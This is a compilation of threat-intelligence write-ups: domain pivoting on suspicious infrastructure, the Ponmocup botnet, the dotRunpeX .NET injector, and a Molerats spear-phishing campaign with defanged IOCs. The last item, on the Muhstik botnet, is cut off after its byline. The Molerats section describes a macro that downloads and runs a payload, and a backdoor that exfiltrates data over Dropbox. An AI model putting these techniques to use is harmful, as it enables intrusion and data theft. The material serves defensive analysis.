But let us look at the IP addresses. Two of them (80.249.147[.]241 and 80.249.147[.]144) belong to Russian hosting provider Selectel in Russia, while the other four belong to Alibaba’s US operations. In Silent Push’s systems, these two ASNs have fairly high (i.e. bad) IP reputation scores (35 and 28 respectively), which suggests a fair number of malicious URLs hosted there. It should be noted though this isn’t too uncommon for large cloud providers: Amazon AWS’s IP reputation score currently stands at 19.
Now let us look at the IP address to which the domain pointed to during the last week of January, 8.208.101[.]136, and see what else is hosted there. During the last week in January, the domain `secure-dns-resolve[.]com` also pointed to this IP address. And for this domain, we have public activity of both malware connecting to it and a phishing image hosted there. Interestingly, we saw this domain point to the same six IP addresses throughout January, going through them in the same order.
Another domain name pointing to the same IP address is `dns16-microsoft-health[.]com`. Here too we find public evidence of malware that has connected to it. It will not surprise anyone that `dnsn-microsoft-health.com` doesn’t exist for any other name. The domain has also cycled through the same set of IP addresses we saw before.
This is also true for a fourth domain we saw pointing to 8.208.101[.]136 recently: `cdn12-show-content[.]com`. Here though we find no public evidence for activity linked to this domain, malicious or not.
Still, given the many similarities, we are confident to say `cdn12-web-security[.]com` and `cdn12-show-content[.]com` are operated by the same actors who also operate `secure-dns-resolve[.]com` and `dns16-microsoft-health[.]com` and should be blocked just as much. The same is true for a fifth domain, `ms-health-monitor[.]com`, which has been linked to malware and which was taken down in January.
Another thing that links these five domains is the use of DNSPod’s name servers, which have a not too great reputation of 18 in Silent Push’s systems.
These five domains aren’t the only ones linked to the mentioned IP addresses. For example, `righttime4mercy[.]com` currently points to 80.249.147[.]144; this domain has been linked to a Hancitor malspam campaign in the past.
It may thus be that behind these IP addresses are managed by a bulletproof hosting provider which rents out its infrastructure to malicious actors and shields them from takedown requests. The Hancitor domain may thus be unrelated to the other five, though of course no less malicious.
## Conclusion
Pivoting around an IP address or a domain name isn’t generally a very reliable way to link malicious activity, given the wide use of shared and compromised infrastructure, as well as the use of false flags by more advanced actors. However, it should not be totally ignored either.
We started from a single interesting looking domain for which no malicious activity could be found. Through the Silent Push API and with the help of a few search engine searches, we were able to link it to an active malware campaign, and possibly found part of a bulletproof hosting operation. |
# Ponmocup: A Giant Hiding in the Shadows
**Lead Author:** Maarten van Dantzig
**Co-Authors:** Danny Heppener, Frank Ruiz, Yonathan Klijnsma, Yun Zheng Hu, Erik de Jong, Krijn de Mik, Lennart Haagsma
## Executive Summary
Ponmocup, first discovered in 2006 as Vundo or Virtumonde, is one of the most successful botnets of the past decade, in terms of spread and persistence. The reasons why this botnet is considered highly interesting are that it is sophisticated, underestimated, and currently the largest in size aimed at financial gain. This underestimated botnet is still in active use and under continuous development.
Having established that Ponmocup’s primary goal is likely financial gain, it is interesting to look at its size. Fox-IT has determined that it has infected a cumulative total of more than 15 million unique victims since 2009. At its peak, in July 2011, the botnet consisted of 2.4 million infected systems, which is huge for botnets. Since then, the botnet has shrunk in size and is currently stable at around 500,000 active infections.
Compared to other botnets, Ponmocup is one of the largest currently active and, with 9 consecutive years, also one of the longest running. Ponmocup is rarely noticed, as the operators take care to keep it operating under the radar. The operators are technically sophisticated, suggesting a deeper than regular knowledge of the Windows operating system. They have close to 10 years of experience with malware development. Their framework was developed over time, quality tested, and then improved to increase robustness and reduce the likelihood of discovery.
The operators are most likely Russian-speaking and possibly of Russian origin. This is based on the fact that instructions to business partners and affiliates are written in Russian, and historically, Ponmocup would not infect systems in some post-Soviet States.
## 1. Introduction
Ponmocup, first discovered in 2006 as Vundo or Virtumonde, is one of the most successful botnets of the past decade, in terms of spread and persistence. Fox-IT believes this is an underestimated botnet currently still in active use and under continuous development. Though Ponmocup has received only minimal attention from the security community and is often described as low risk, it is in fact a technically sophisticated malware framework with extensive functionality. The result of our research provides a complete timeline and unique insight into the modus operandi of the operation around Ponmocup and describes all the important details of the malware. Furthermore, this report includes currently not publicly known indicators of compromise, both on host and network level, where previous research only scratched the surface.
## 2. Behind Ponmocup
This chapter discusses non-technical aspects of the Ponmocup botnet: attribution, goals, impact, and size.
### 2.1 Attribution
This section describes a number of aspects related to the operators of the Ponmocup botnet. Based on the size of the command and control infrastructure, it is thought that the infrastructure is maintained, monitored, and protected by a well-organized group of operators. This is based on the domains in use, number of proxies in use, estimated number of back-end systems, used delivery methods, and limited affiliate schemes. It was also observed that in certain cases, the operators reacted quickly to events which could impact the botnet’s infrastructure, suggesting that the operators closely monitor their back-end infrastructure.
### 2.2 Goals and Impact
As with any modern malware, the Ponmocup framework is capable of supporting any objective, be it criminal or espionage-oriented in nature. These theoretical capabilities, however, aren’t very useful in determining the operators’ actual goals. Ponmocup’s real goals have remained somewhat elusive over the years, primarily because Fox-IT has only rarely seen any sustained activities taking place. It is believed that the operators are primarily interested in financial gain.
### 2.3 Size
Having established that Ponmocup’s primary goal is likely financial gain, it is interesting to look at its size. Fox-IT has determined that Ponmocup has infected a cumulative total of more than 15 million unique victims since 2009. At its peak, in July 2011, the botnet consisted of 2.4 million infected systems. Currently, there are still more than 500,000 victims checking in to command and control servers each month.
## 3. Overview of the Technical Framework
Ponmocup is a malware framework, written in C++, designed to infect and remain persistent on a large number of victim machines. This chapter describes the components that comprise the framework.
### 3.1 Framework Components
The Ponmocup framework employs a number of components to deliver, install, execute, and control the malware. Each component uses different anti-analysis methods to prevent the framework from being discovered.
### 3.2 Typical Ponmocup Infrastructure
The infrastructure used to control the botnet is designed to be resilient to disruption attempts, using a separate infrastructure per component. This requires an extensive server setup which is constantly monitored for performance issues and disruption attempts by external parties. Ponmocup communicates to back-end servers over several proxy layers, and each victim can use a specific group of proxies to communicate.
## 4. Delivery Methods
This chapter describes historic and current delivery methods used to distribute the Ponmocup malware. From 2009 to 2011, the two main methods used to distribute Ponmocup were fake codec packs and fake Flash Player updates. However, after a sinkhole attempt in 2011, the authors developed their own distribution method, publicly known as Zuponcic.
## 5. Installation, Persistence, and Functionality
This chapter describes the core components of Ponmocup, its method of installation, achieving persistence, and its modular system of plug-ins aimed at providing a wide variety of functions on compromised systems.
### 5.1 The Ponmocup Installer
The installer is responsible for persistently installing various Ponmocup components on a system. The installer adds a scheduled task to start the initiator during system boot, with the privileges of NT AUTHORITY\SYSTEM.
### 5.2 Core Functionality
The core of Ponmocup are the components installed on a victim’s machine by default. These mainly include the components responsible for starting the main module, but also include persistent plug-ins providing specific tasks for persistence purposes.
### 5.3 Specific Functionality Through Plug-ins
The main module of Ponmocup is primarily designed to achieve persistence on a victim’s machine. Plug-ins, in contrast, are used to provide functionalities for specific tasks. These tasks vary from the exfiltration of credentials and browser history to identification of VoIP agents on the network of victims.
## Conclusion
Ponmocup remains a significant threat due to its sophisticated design, extensive functionality, and the financial motivations of its operators. Understanding its structure and operation is crucial for developing effective countermeasures against this persistent malware. |
# DotRunpeX – Demystifying New Virtualized .NET Injector Used in the Wild
**Research by:** Jiri V inopal.
**Date:** March 15, 2023
## Highlights
- Check Point Research (CPR) provides an in-depth analysis of the dotRunpeX injector and its relation to the older version.
- DotRunpeX is protected by virtualization (a customized version of KoiVM) and obfuscation (ConfuserEx) – both were defeated.
- Investigation shows that dotRunpeX is used in the wild to deliver numerous known malware families.
- Commonly distributed via phishing emails as malicious attachments and websites masquerading as regular program utilities.
- Confirmed and detailed the malicious use of a vulnerable process explorer driver to disable the functionality of Anti-Malware services.
- CPR introduces several PoC techniques that were approved to be effective for reverse engineering protected or virtualized dotnet code.
## Introduction
During the past few months, we have been monitoring the dotRunpeX malware, its usage in the wild, and infection vectors related to dozens of campaigns. The monitoring showed that this new dotnet injector is still evolving and in high development. We uncovered several different methods of distribution where in all cases, dotRunpeX was a part of the second-stage infection. This new threat is used to deliver numerous different malware families, primarily related to stealers, RATs, loaders, and downloaders.
The oldest sample related to the new version of dotRunpeX is dated 2022-10-17. The first public information about this threat is dated 2022-10-26.
The main subject of this research is an in-depth analysis of both versions of the dotRunpeX injector, focusing on interesting techniques, similarities between them, and an introduction to the PoC technique used to analyze a new version of dotRunpeX as it is being delivered virtualized by a customized version of KoiVM .NET protector.
## Background & Key Findings
DotRunpeX is a new injector written in .NET using the Process Hollowing technique and used to infect systems with a variety of known malware families. Although this injector is new, there are some connections to its older version sharing some similarities. The name of this injector is based on its version information which is the same for both dotRunpeX versions, consistent across all samples we analyzed and containing ProductName – RunpeX.Stub.Framework.
While we have been monitoring this threat, we spotted a few publicly shared pieces of information, mainly by independent researchers, that were related to the functionality of dotRunpeX but misattributed to a different well-known malware family.
We are aware of a publication about one campaign delivering this threat, but our findings and conclusions based on the report below slightly differ. By monitoring this threat for a few months, we got enough information to differentiate the first-stage loaders from the second stage (dotRunpeX) with no signs of the relation between them. We revealed the connections to its older version, the distribution of numerous malware families, and several different techniques used as a vector of infection.
Among the variety of downloaders and cryptocurrency stealers, we spotted these known malware families delivered by dotRunpeX:
From the timeline perspective, based on the compilation timestamps of dotRunpeX samples that did not appear to be altered, this new threat became popular mainly during November 2022 and January 2023. What could be just an interesting coincidence or just some kind of sign of attackers waiting under the Christmas tree is that we did not see a lot of samples compiled during December 2022.
## Vector of Infection
DotRunpeX injector commonly comes as a second stage of the original infection. The typical first stages are very different variants of .NET loaders/downloaders. The first-stage loaders are primarily being delivered via phishing emails as malicious attachments (usually as a part of “.iso”, “.img”, “.zip”, and “.7z”) or via websites masquerading as regular program utilities. Apart from the most common infection vectors, the customers of dotRunpeX are not ashamed to abuse Google Ads or even target other potential attackers via trojanized malware builders.
Example phishing email: Transaction Advice 502833272391_RPY - 29/10/2022 delivering the first stage loader as a part of malicious “.7z” attachment that results in loading of dotRunpeX (SHA256: “457cfd6222266941360fdbe36742486ee12419c95f1d7d350243e795de28200e”).
Example phishing websites – masquerading regular program utilities (Galaxy Swapper, OBS Studio, Onion Browser, Brave Wallet, LastPass, AnyDesk, MSI Afterburner) and delivering the first stage loaders that result in dotRunpeX infection in a part of the second stage.
The mentioned .NET applications with overlay are the typical first stages, behaving as dotnet loaders with simple obfuscation. These different variants of loaders use reflection to load the dotRunpeX injector in the second stage. Some of them are very simple, and some are more advanced.
### Technical Analysis: Highlights
**The old version of dotRunpeX:**
- Using custom obfuscation – only obfuscations of names.
- Configurable but limited (target for payload injection, elevation + UAC Bypass, XOR key for payload decryption).
- Only one UAC Bypass technique.
- Using simple XOR to decrypt the main payload to be injected.
- Using D/Invoke similar technique to call native code (based on using GetDelegateForFunctionPointer()) – but using decoy syscall routine.
- Using D/Invoke for remapping of “ntdll.dll”.
**The new version of dotRunpeX:**
- Protected by a customized version of the KoiVM virtualizer.
- Highly configurable (disabling Anti-Malware services, Anti-VM, Anti-Sandbox, persistence settings, key for payload decryption, UAC bypass methods).
- More UAC Bypass techniques.
- Using simple XOR to decrypt the main payload to be injected (omitted in the latest developed versions).
- Abusing procexp driver (Sysinternals) to kill protected processes (Anti-Malware services).
- Signs of being Russian based – procexp driver name Иисус.sys translated as “jesus.sys”.
**Similarities between both versions:**
- 64-bit executable files “.exe” written in .NET.
- Used to inject several different malware families.
- Using simple XOR to decrypt the main payload to be injected.
- Possible usage of the same UAC bypass technique (the new version of dotRunpeX has more techniques available).
- Using the same version information.
- Using the same .NET resource name BIDEN_HARRIS_PERFECT_ASSHOLE to hold the encrypted payload to be injected.
- Using the same code injection technique – Process Hollowing.
- Using the same structured class for definitions of Native delegates.
## Conclusion
By monitoring this new threat for several months, we got deep insight into its evolution, delivery methods, and how it was abused to deliver a wide scale of different malware families. Over time, we consider dotRunpeX to be in high development adding new features on regular bases and getting more popularity and attention every day. Because of the rising usage of this injector, we developed and provided several tools to automate the analysis of this virtualized dotnet code.
Some of the developed tools described in this report introduced PoC methods and can serve for developing other tools with similar functionality. We showed how open-source libraries such as AsmResolver and clrMD could be used in a real-world example to support the research and to help with the reverse engineering of protected code.
In this report, we provided an in-depth analysis of both versions of the dotRunpeX injector, the similarities between them, and described the main interesting techniques they use, such as abuse of the vulnerable process explorer driver, code virtualization caused by the usage of KoiVM protector, modification of D/Invoke framework with decoy syscall patching.
Our analysis and conclusions are based on dozens of campaigns we spotted in the wild and hundreds of samples that were mass processed. Because of the high development of dotRunpeX, we believe that provided tools would need some modification soon as a reaction to changes in dotRunpeX. Still, with provided source codes, it should be relatively easy to work around these changes for other researchers. |
# New Espionage Attack by Molerats APT Targeting Users in the Middle East
## Introduction
In December 2021, the ThreatLabz research team identified several macro-based MS Office files uploaded from Middle Eastern countries such as Jordan to OSINT sources like VT. These files contained decoy themes related to geo-political conflicts between Israel and Palestine, themes that have been used in previous attack campaigns waged by the Molerats APT.
During our investigation, we discovered that the campaign has been active since July 2021. The attackers switched the distribution method in December 2021 with minor changes in the .NET backdoor. In this blog, we will share a complete technical analysis of the attack chain, the C2 infrastructure, threat attribution, and data exfiltration.
The targets in this campaign were specifically chosen by the threat actor and included critical members of the banking sector in Palestine, individuals related to Palestinian political parties, as well as human rights activists and journalists in Turkey. ThreatLabz observed several similarities in the C2 communication and .NET payload between this campaign and previous campaigns attributed to the Molerats APT group. Additionally, we discovered multiple samples that we suspect are related to the Spark backdoor. We have not included the analysis of these samples in this blog, but they were all configured with the same C2 server, which we have included in the IOCs section.
## Threat Attribution
We have attributed the attack to the Molerats APT group based on the following observations:
1. Use of open-source and commercial packers for the backdoor (ConfuserEx, Themida)
2. Targeting the Middle East region
3. Using Dropbox API for entire C2 communication
4. Using RAR files for backdoor delivery as well as in later stages
5. Using other legitimate cloud hosting services like Google Drive to host the payloads
6. Overlap of domain SSL Certificate thumbprint observed on current attack infrastructure with domains used by the Molerats APT group in the past
7. Overlap of Passive DNS resolution of domain observed on current attack infrastructure with the IP used by the Molerats APT group in the past
## Attack Flow
Decoy content
MD5: 46e03f21a95afa321b88e44e7e399ec3
## Technical Analysis
For the purpose of technical analysis, we will use the document with MD5: 46e03f21a95afa321b88e44e7e399ec3.
### Stage-1: Macro Code
The macro code is not complex or obfuscated. It simply executes a command using cmd.exe which performs the following operations:
1. Executes a PowerShell command to download and drop the Stage-2 payload from the URL “http://45.63.49[.]202/document.html” to the path “C:\ProgramData\document.htm”.
2. Renames document.htm to servicehost.exe.
3. Executes servicehost.exe.
### Stage-2: servicehost.exe
#### Static Analysis
Based on static analysis, we can see that the binary is .NET-based and is obfuscated using the ConfuserEx packer. It masquerades itself as a WinRAR application by using the icon and other resources from the legitimate WinRAR application.
#### Dynamic Analysis
The main function of the binary is the standard ConfuserEx function responsible for loading the runtime module "koi" that is stored in encrypted form using a byte array. Once the module is loaded, the main function resolves the module's entry point function using the metadata token and invokes it by providing required parameters.
The runtime module ("koi") is found to be a backdoor. Before calling the main function of the module, the code from within the constructor is called, which creates a new thread that regularly monitors the presence of a debugger.
Once the debugger monitor thread is created, the code execution flow reaches the main function of the module, which ultimately leads to the backdoor execution. Within the main function, the backdoor performs the following operations:
1. Collects the machine manufacture and machine model information using WMI for execution environment checks and later exfiltrates it to the C2 server.
2. Checks if it should execute in the current execution environment.
3. Creates a mutex with the name of the executing binary.
4. Checks if the mutex is created successfully.
5. Determines if it is executed for the first time using the registry key value "HKCU/Software/{name_of_executing_binary}/{name_of_executing_binary}".
6. If the registry key doesn't exist, the code flow goes via a mouse check function which executes the code further only if it detects a change in either of the mouse cursor coordinates. In the end, the mouse check function also creates the same registry key.
### Network Communication
From the main function, the final code flow reaches the function that starts the network communication. Since the backdoor uses Dropbox API for entire C2 communication and data exfiltration, it first extracts the primary Dropbox account token stored in encoded form within the binary.
Executing further, the backdoor collects the following information from the victim machine:
1. Machine IP address: By making a network request to “https://api.ipify.org”
2. UserName: From the environment variable
3. HostName: Using the API call Dns.GetHostName()
The collected information is processed and stored inside a variable named “UserInfo” by performing the following operations:
1. Concatenation (IP+UserName+HostName)
2. Base64 string encode
3. Substitution (Substitute “=” with “1”)
4. String reverse
Next, the backdoor sends the following network requests in the specified sequence using the Dropbox API and performs any required operations:
1. Create Folder: Create a folder inside the root directory where the folder name is the value of the UserInfo variable. The created folder acts as a unique identifier for a machine considering the fact that the machine IP remains static.
2. Create File: Create a file inside the newly created folder where the file name is the Machine IP and the data it stores is the information collected in Step-1 of the main function.
3. List Content: List the content of the victim-specific folder and delete files where the file name length is 15.
4. List Content: List the content of the root directory (attacker-controlled) and extract the following information:
- File name of any hosted RAR archive
- File name of any hosted exe (found to be the legitimate RAR command-line utility used to extract the downloaded RAR archive in case the machine doesn't already have any RAR archive supporting application)
- File name of any hosted pdf or doc file (used as a decoy document)
- File name of any non-specific file type (contains the secondary Dropbox account token used for file exfiltration from the victim machine)
Finally, if the backdoor executed for the first time, it downloads and opens the hosted pdf or doc file and then calls two other functions where the first function creates a thread that continuously communicates with the Dropbox account to fetch and execute the C2 commands while the second function creates a thread that downloads and executes the RAR archive using the information extracted earlier.
### C2 Commands
The backdoor creates a file inside the victim-specific folder on Dropbox used to fetch C2 commands. The file name is a random string of 15 characters. The C2 commands have the following format:
[command code]=[Command arguments separated using “^”]
The backdoor uses command codes instead of plaintext strings to determine the action to be performed.
| Command Code | Action Performed |
|--------------|------------------|
| 1 | Run specified command |
| 2 | Take snapshot and upload |
| 3 | Send list of files from specified directories |
| 4 | Upload files |
| 5 | Download and execute the RAR archive |
## C2 Infrastructure Analysis
While monitoring the IPs used during the current attack, we observed the domain "msupdata.com" started to resolve to the IP 45.63.49[.]202 from 27-12-2021. We found two historical SSL certificates associated with this domain. Pivoting on the SSL Certificate with thumbprint "ec5e468fbf2483cab74d13e5ff6791522fa1081b," we found domains like "sognostudio.com," "smartweb9.com," and others attributed to the Molerats APT group during past attacks. Additionally, the subdomain “www.msupdata.com” also has a Passive DNS resolution to IP 185.244.39[.]165, which is also associated with the Molerats APT group in the past.
## Pivot on the Dropbox Accounts
Based on our analysis, at least five Dropbox accounts are being used by the attacker. While investigating the Dropbox accounts, we found that the attacker used the following information during account registration. Note: Dropbox has confirmed the takedown of these accounts associated with the Molerats APT group.
- **Account 1:**
- Name: Adham Gherbawi
- Country: NL (Netherlands)
- Email: [email protected][.]com
- **Account 2:**
- Name: Alwatan Voice
- Country: NL (Netherlands)
- Email: [email protected][.]com
- **Account 3:**
- Name: Adham Gharbawi
- Country: NL (Netherlands)
- Email: [email protected][.]com
- **Account 4:**
- Name: Pal Leae
- Country: PS (Palestine)
- Email: [email protected][.]com
- **Account 5:**
- Name: Pla Inod
- Country: PS (Palestine)
- Email: [email protected][.]com
Additionally, while analyzing the exfiltrated data from Dropbox accounts, we found a screenshot of the attacker machine likely uploaded while the attacker was testing the malware. We correlated a number of artifacts and patterns with the file names visible from the snapshot to those used during the real attack. Moreover, from the snapshot, the attacker seems to be using a simple GUI application to sync with the Dropbox account and display the victims list. In the victims list, the user name "mijda" is also present, which matches with the name of document creator “mij daf” for all the documents we found during this attack.
Additionally, we discovered that the attacker machine was configured with the IP 185.244.39[.]105, which is located in the Netherlands and is associated with the VPS service provider "SKB Enterprise B.V." Interestingly, this IP (185.244.39[.]105) is also located in the same subnet as the IP 185.244.39[.]165, which was used for C2 communication and domain hosting in the past by the Molerats APT group.
## Pivot on Google Drive Link
Since the attacker also used Google Drive to host the payload in one of the attack chains, we tried to identify the associated Gmail account. Based on our analysis, the attacker used the following information for the Gmail account:
- **Account Name:** Faten Issa
- **Email:** [email protected][.]com
## Old Attack Chain
As per our analysis, the old attack chain was used from 13th July 2021 (start of campaign) to 13th Dec 2021. The major difference between the new attack chain and the old attack chain is seen in the backdoor delivery. Although we are not sure how these RAR/ZIP files were delivered, they were likely delivered using phishing PDFs. Additionally, we found a minor variation in the way the backdoor extracted the primary Dropbox account token. In the old attack chain, the backdoor fetched the encoded string containing the primary Dropbox account token from attacker-hosted content on “justpaste.it”.
## Zscaler Sandbox Detection
- Detection of the macro-based Document
- Detection of the macro-based PowerPoint file
- Detection of the payload
In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the Molerats APT group at various levels.
- Win32.Trojan.MoleratsAPT
- PDF.Trojan.MoleRatsAPT
## MITRE ATT&CK TTP Mapping
| ID | Tactic | Technique |
|----------------|----------------------------|-----------|
| T1566.001 | Spear phishing | Uses doc-based attachments with VBA macro |
| T1204.002 | User Execution: Malicious File | User opens the document file and enables the VBA macro |
| T1059.001 | Command and Scripting interpreter: PowerShell | VBA macro launches PowerShell to download and execute the payload |
| T1140 | Deobfuscate/Decode Files or Information | Strings and other data are obfuscated in the payload |
| T1082 | System Information Discovery | Sends processor architecture and computer name |
| T1083 | File and Directory Discovery | Upload file from the victim machine |
| T1005 | Data from Local System | Upload file from the victim machine |
| T1567.002 | Exfiltration to Cloud Storage | Data is uploaded to Dropbox via API |
| T1113 | Screen capture | The C2 command code "2" corresponds to taking a screenshot and uploading to attacker-controlled Dropbox account |
## Indicators of Compromise
### Hashes
| MD5 | File Name | Description |
|------------------------------------------------|----------------------------------------|-------------|
| 46e03f21a95afa321b88e44e7e399ec3 | 15-12.doc | Document |
| 5c87b653db4cc731651526f9f0d52dbb | 11-12.docx | Document |
| 105885d14653932ff6b155d0ed64f926 | report2.dotm | Template |
| 601107fc8fef440defd922f00589e2e9 | 4-1.doc | Document |
| 9939bf80b7bc586776e45e848ec41946 | 19-12.pptm | PPT |
| 054e18a1aab1249f06a4f3e661e3f38a | راﺮﺣﻷا ءﺎﻓو ﺔﻘﻔﺻ ةﺪﻨﺟأ.pptm | PPT |
| e72d18b78362e068d0f3afa040df6a4c | wanted persons.ppt | PPT |
| ebc98d9c96065c8f1c0f4ce445bf507b | servicehost.exe | Exe (Confuser packed) |
| c7271b91d190a730864cd149414e8c43 | su.exe | Exe (Themida packed) |
| 00d7f155f1a9b29be2c872c6cad40026 | servicehost.exe | Exe (Confuser packed) |
| 2dc3ef988adca0ed20650c45735d4160 | cairo hamas office.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | ﻲﻓ ﺎﻬﻟ ﻢﺋاد ﺮﻘﻣ ﺢﺘﻔﻟ سﺎﻤﺣ ﺔﻛﺮﺣ حوﺮﺷ | Exe (Confuser packed) |
| b9ad53066ab218e40d61b299bd2175ba | details.rar | RAR |
| f054f1ccc2885b45a71a1bcd0dd711be | ﺔﺘﺴﻟا ىﺮﺳﻷا بوﺮﻫ ﺔﯪﻠﻤﻌﻟ ﺔﻣدﺎﺻ ﻞﯪﺻﺎﻤﻓ | Exe (Themida packed) |
| b7373b976bbdc5356bb89e2cba1540cb | emergency.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | ﻮﺑا ﻲﻨﯿﻄﺴﻠﻔﻟا ﺲﯿﺋﺮﻠﻟ ﺔﯪﻤﻟا ﺔﻟﺎﺤﻟا ﺔﻌﺑﺎﺘﻣExe | Exe (Confuser packed) |
| 8884b0d29a15c1b6244a6a9ae69afa16 | excelservice.rar | RAR |
| 270ee9d4d22ca039539c00565b20d2e7 | idf.rar | RAR |
| 8debf9b41ec41b9ff493d5668edbb922 | Ministry of the Interior | Exe (Themida packed) |
| d56a4865836961b592bf4a7addf7a414 | images.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | ثاﺪﺣأ ﺔﺒﻗاﺮﻤﻟا تاﺮﯿﻣﺎﻛ ﻪﻄﻘﺘﻟا ﺎﻣ ﺪﻫﺎﺷ | Exe (Confuser packed) |
| 59368e712e0ac681060780e9caa672a6 | meeting.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | ﻲﻜﯾﺮﻣﻷا ﺲﯿﺋﺮﻟا ﺔﺒﺋﺎﻧ عﺎﻤﺘﺟا ﺮﻀﺤﻣ | Exe (Confuser packed) |
| 99fed519715b3de0af954740a2f4d183 | ministry of the interior 23-9-2021.rar | RAR |
| 8debf9b41ec41b9ff493d5668edbb922 | Ministry of the Interior | Exe (Themida packed) |
| bd14674edb9634daf221606f395b1e1d | moi.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | سﺎﺒﻋ ﺲﯿﺋﺮﻟا ﺐﻠﻃ ﻰﻠﻋ دﺮﺗ ﺪﯿﻛﺎﺷ ﺖﯿﻠﯾأ | Exe (Confuser packed) |
| 04d17caf8be87e68c266c34c5bd99f48 | namso.rar | RAR |
| c7271b91d190a730864cd149414e8c43 | namso.exe | Exe (Themida packed) |
| 217943eb23563fa3fff766c5ec538fa4 | rafah passengers.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | يﺮﺒﻟا ﺢﻓر ﺮﺒﻌﻣ ﺮﺒﻋ ﺮﻔﺴﻟا تﺎﻘﯿﺴﻨﺗ ﻒﺸﻛ | Exe (Confuser packed) |
| fef0ec9054b8eff678d3556ec38764a6 | sa.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | جاﺮﻓﻺﻟ كﺮﺤﺘﻟﺎﺑ ﺔﯿﻜﯾﺮﻣأو ﺔﯪﻑﺮﻋ تادﻮﻋو | Exe (Confuser packed) |
| 32cc7dd93598684010f985d1f1cea7fd | shahid.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | ثاﺪﺣأ ﺔﺒﻗاﺮﻤﻟا تاﺮﯪﻣﺎﻛ ﻪﻄﻘﺘﻟا ﺎﻣ ﺪﻫﺎﺷ | Exe (Confuser packed) |
| 1dc3711272f8e9a6876a7bccbfd687a8 | sudan details.rar | RAR |
| f054f1ccc2885b45a71a1bcd0dd711be | بﻼﻘﻧﻻا ﺔﻟوﺎﺤﻣ ﻲﻓ كرﺎﺷ ﻲﻨﯿﻄﺴﻠﻓ يدﺎﯪﻗ | Exe (Themida packed) |
| da1d640dfcb2cd3e0ab317aa1e89b22a | tawjihiexam.rar | RAR |
| 31d07f99c865ffe1ec14c4afa98208ad | Israel-Hamas Prisoner Exchange Progress.exe | Exe (Confuser packed) |
| b5e0eb9ca066f5d97752edd78e2d35e7 | ﻊﻗﻮﺘﻤﻟا عﺎﻤﺘﺟﻻا ةﺪﻨﺟأ.rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | - مدﺎﻘﻟا عﻮﺒﺳﻷا هﺪﻘﻋ ﻊﻣﺲﻤﻟا عﺎﻤﺘﺟﻻا ةﺪﻨﺟأExe | Exe (Confuser packed) |
| b65d62fcb1e8f7f06017f5f9d65e30e3 | عﺎﻤﺘﺟﻻا تﺎﯾﺮﺠﻣ .rar | RAR |
| a52f1574e4ee4483479e9356f96ee5e3 | ﻲﺘﻟا طﺎﻘﻨﻟا ﻢﻫأو ﻲﺋﺎﻨﺜﻟا عﺎﻤﺘﺟﻻا تﺎﯾﺮﺠﻣ | Exe (Confuser packed) |
| 933ffc08bcf8152f4b2eeb173b4a1e26 | israelian attacks.zip | ZIP |
| 4ae0048f67e878fcedfaff339fab4fe3 | Israelians Attacks during the years 2020 to 2021.exe | Exe (Confuser packed) |
| 1478906992cb2a8ddd42541654e9f1ac | patient satisfaction survey.zip | ZIP |
| 31d07f99c865ffe1ec14c4afa98208ad | Patient Satisfaction Survey Patient Satisfaction Survey.exe | Exe (Confuser packed) |
| 33b4238e283b4f6100344f9d73fcc9ba | ﺔﯿﻧﺎﺜﻟا ﺔﺴﻠﺠﻟا.zip | ZIP |
| 4ae0048f67e878fcedfaff339fab4fe3 | تارﺎﺴﻣ ﺮﻤﺗﺆﻣ ﻦﻣ ﺔﻤﻈﻨﻤﻟا ﺮﻤﺗﺆﻣ Exe | Exe (Confuser packed) |
| 1f8178f9d82ac6045b6c7429f363d1c5 | سﺎﻤﺤﻟ نﺎﺒﻟﺎﻃ ﻞﺋﺎﺳر.zip | ZIP |
| 4ae0048f67e878fcedfaff339fab4fe3 | نﺄﺸﻟا ﺺﺨﯾ ﺎﻤﯿﻓ سﺎﻤﺤﻟ نﺎﺒﻟﺎﻃ ﻞﺋﺎﺳر | Exe (Confuser packed) |
| c7d19e496bcd81c4d16278a398864d60 | ﺔﯿﺳﺎﯪﺳ تﺎﻫﺎﺠﺗا ﺔﻠﺠﻣ.zip | ZIP |
| 4ae0048f67e878fcedfaff339fab4fe3 | ﺲﻣﺎﺨﻟا دﺪﻌﻟا ﺔﯿﺳﺎﯪﺳ تﺎﻫﺎﺠﺗا ﺔﻠﺠﻣ | Exe (Confuser packed) |
| 1bae258e219c69bb48c46b5a5b7865f4 | حﺮﺘﻘﻣ.zip | ZIP |
| 4ae0048f67e878fcedfaff339fab4fe3 | ـ ﻰﻔﻄﺼﻣ ﻲﻠﻋ ﻮﺑأ ىﺮﻛذ ءﺎﯿﺣا حﺮﺘﻘﻣ | Exe (Confuser packed) |
| 547334e75ed7d4eea2953675b07986b4 | ﺔﻤﻈﻨﻤﻟا ﺮﻤﺗﺆﻣ.zip | ZIP |
| 4ae0048f67e878fcedfaff339fab4fe3 | ﻲﻓ ﺔﻤﻈﻨﻤﻟا ﺮﻤﺗﺆﻣ - نﺎﻨﺒﻟ ﻲﻓ ﺔﻤﻈﻨﻤﻟا ﺮﻤﺗﺆﻣ | Exe (Confuser packed) |
### Download URLs
| Component | URL |
|-----------|-----|
| Template | https://drive.google[.]com/uc?export=download&id=1xwb99Q7duf6q7a-7be44pCk3dU9KwXam |
| Exe | http://45.63.49[.]202/document.html |
| | http://23.94.218[.]221/excelservice.html |
| | http://45.63.49[.]202/doc.html |
| | http://45.63.49[.]202/gabha.html |
### Molerats Associated IPs
- 45.63.49[.]202
- 23.94.218[.]221
- 185.244.39[.]165
### Molerats Associated Domains
- msupdata[.]com
- www.msupdate[.]com
### Spark Backdoor
- bundanesia[.]com
### File System Artifacts
- Dropped binary: C:\ProgramData\servicehost.exe
- {current_working_directory}\su.exe
## Appendix
MD5: 5c87b653db4cc731651526f9f0d52dbb
MD5: 105885d14653932ff6b155d0ed64f926
MD5: e72d18b78362e068d0f3afa040df6a4c |
# Hands-On Muhstik Botnet: Crypto-Mining Attacks Targeting Kubernetes
By Stefano Chierici
November 16, 2021
